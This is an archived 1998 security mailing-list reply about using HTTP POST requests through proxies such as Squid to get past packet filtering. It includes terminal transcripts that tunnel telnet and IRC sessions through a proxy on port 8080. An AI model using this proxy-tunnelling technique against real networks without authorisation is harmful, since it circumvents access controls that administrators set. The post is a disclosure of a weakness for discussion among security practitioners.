Re: [NTSEC] By-passing MS Proxy 2.0 and others packet filtering

From: Peter van Dijk (peterat_private)
Date: Tue Oct 13 1998 - 14:08:44 PDT

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    On Fri, Oct 09, 1998 at 07:46:38AM +0200, Jean-Christophe Touvet wrote:
    > > Date: Thu, 08 Oct 1998 08:27:36 +0100
    > > From:  "Mnemonix" <mnemonixat_private>
    > >
    > > Firstly it seems that most web-based proxies, not just MS Proxy, are
    > > susceptible to this kind of attack. Thanks to Greg Jones and others for
    > > doing some testing on this.
    >
    >  HTTP POST is limited: telnet, NetBios etc. will not work, while CONNECT will
    > pass them straightforward.
    
    Very untrue. Look at this:
    [hardbeat@haarlem hardbeat]$ telnet proxy 8080
    Trying 194.178.232.18...
    Connected to rotterdam.vuurwerk.nl.
    Escape character is '^]'.
    POST http://telnet:23/ HTTP/1.0
    
    
    VuurWerk Internet Telnet Server
    (telnet.vuurwerk.nl)
    
    Alle transacties worden gelogged, het gebruik
    van deze server is alleen voor klanten van
    VuurWerk tbv. het onderhoud van hun eigen site.
    
    POST / HTTP/1.0
    Via: 1.0 rotterdam.vuurwerk.nl:8080 (Squid/1.1.21)
    X-Forwarded-For: 194.178.232.22
    Host: telnet.vuurwerk.nl
    Cache-control: Max-age=259200
    
    login: hardbeat
    Password:
    Last login: Tue Oct 13 22:59:49 from rotterdam
      PID TTY STAT TIME COMMAND
     5896  p6 S    0:00 /bin/login -h p8ur.cistron.nl -p
     5901  p6 S    0:00  \_ -bash
     6175  p6 S    0:00      \_ telnet proxy 8080
     6186  p8 S    0:00 /bin/login -h rotterdam vuurwerk.nl -p
     6190  p8 S    0:00  \_ -bash
     6205  p8 R    0:00      \_ ps xfww
    [hardbeat@haarlem hardbeat]$
    
    
    Haarlem is the shellmachine here, also CNAMEd telnet. The proxy (Squid/1.1.21)
    will happily forward me, and telnet works as if there's no proxy inbetween.
    
    Another great example:
    
    [hardbeat@haarlem hardbeat]$ telnet proxy 8080
    Trying 194.178.232.18...
    Connected to rotterdam.vuurwerk.nl.
    Escape character is '^]'.
    POST http://irc.pi.net:6667/ HTTP/1.0
    
    nick Hardbeat2
    PING :1693634679
    PONG 1693634679
    USER hardbeat haarlem.vuurwerk.nl irc.pi.net :Peter van Dijk (via proxy)
    :Antwerpen.Be.Eu.Undernet.org 001 Hardbeat2 :Welcome to the Internet Relay Network Hardbeat2
    :Antwerpen.Be.Eu.Undernet.org 002 Hardbeat2 :Your host is Antwerpen.Be.Eu.Undernet.org, running version u2.10.04
    :Antwerpen.Be.Eu.Undernet.org 003 Hardbeat2 :This server was created Fri Jun 19 1998 at 18:44:36 MET DST
    
    I can happily IRC now... imagine how easy it would be to write an IRC bouncer
    that uses a proxy. Lots of proxies have NO acl or firewall around them.
    
    The only thing I have _not_ succeeded in until now is chaining proxies with
    GET or POST requests.
    
    Greetz, Peter.
    --
    'I guess anybody who walks away from a root shell at :         Peter van Dijk
     a nerd party gets what they deserve!' -- BillSF     :peterat_private
    -- --   -- --   -- --   -- --   -- --   -- --   -- --   -- --   -- --   -- --
    finger peterat_private for my public PGP-key
      -  ---  -  ---  -  ---  -  ---  -  ---  -  ---  -  ---  -  ---  -  ---  -
    



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